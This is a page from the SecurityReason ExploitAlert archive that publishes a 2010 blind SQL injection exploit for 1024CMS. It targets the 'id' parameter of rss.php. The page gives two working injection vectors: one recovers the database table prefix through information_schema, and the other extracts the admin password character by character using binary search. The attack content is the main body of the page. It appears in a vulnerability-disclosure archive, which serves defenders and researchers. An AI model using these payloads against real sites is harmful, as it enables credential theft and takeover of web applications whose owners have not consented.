SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow ExploitAlert Database

Arrow  Topic :

1024CMS Blind SQL Injection Exploit


Arrow  ExploitAlert : 7873
Arrow  Credit : AmnPardaz Security Research & Penetration Testing Group
Arrow  Date : 03.03.2010

Arrow   Download

Arrow   Plain text version


Arrow  Exploit Code :  

+--> Exploiting The (MySQL) Blind SQL Injection:
The GET parameter 'id' can be used for SQL injections while the other GET
parameter 't'
be equal with 'vp' in the rss.php file.
The general SQL injection vector will be like this:
<url-to-site>/rss.php?t=vp&id=0'or(EXISTS
(SELECT * FROM otatf_users WHERE username='admin' AND
SUBSTR(password,i,1)<'?')) --'

In the above vector 'id' is used to indicate the ID of the posts which
must be returned
and (since there is no post with id of zero) the total query will be true
(and the
resulting RSS page will not be empty) iff the subquery be true. Using
above vector and
binary searching on '?' for each character 'i', the password of user admin
can be extracted.

But the tables are protected by a prefix (in the above example the
'otatf_' is the prefix
and before using this vector we need to find the prefix by a similar
manner. We can use
following vector for this purpose:
<url-to-site>/rss.php?t=vp&id=0'or(EXISTS
(SELECT * FROM (SELECT
SUBSTRING(TABLE_NAME,1,LENGTH(TABLE_NAME)-8) AS PREFIX
FROM information_schema.TABLES where
TABLE_SCHEMA=DATABASE() LIMIT 1) AS TMP
WHERE SUBSTR(PREFIX,i,1)<"?")) --'

In this vector, the inner query will the find name of the first table
which for 'otatf_' prefix
will be 'otatf_adminlog' and extract the prefix part of it. The outer
query will find characters
of this prefix by iterating over 'i' and binary searching on '?'.




Arrow  Feedback :

If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.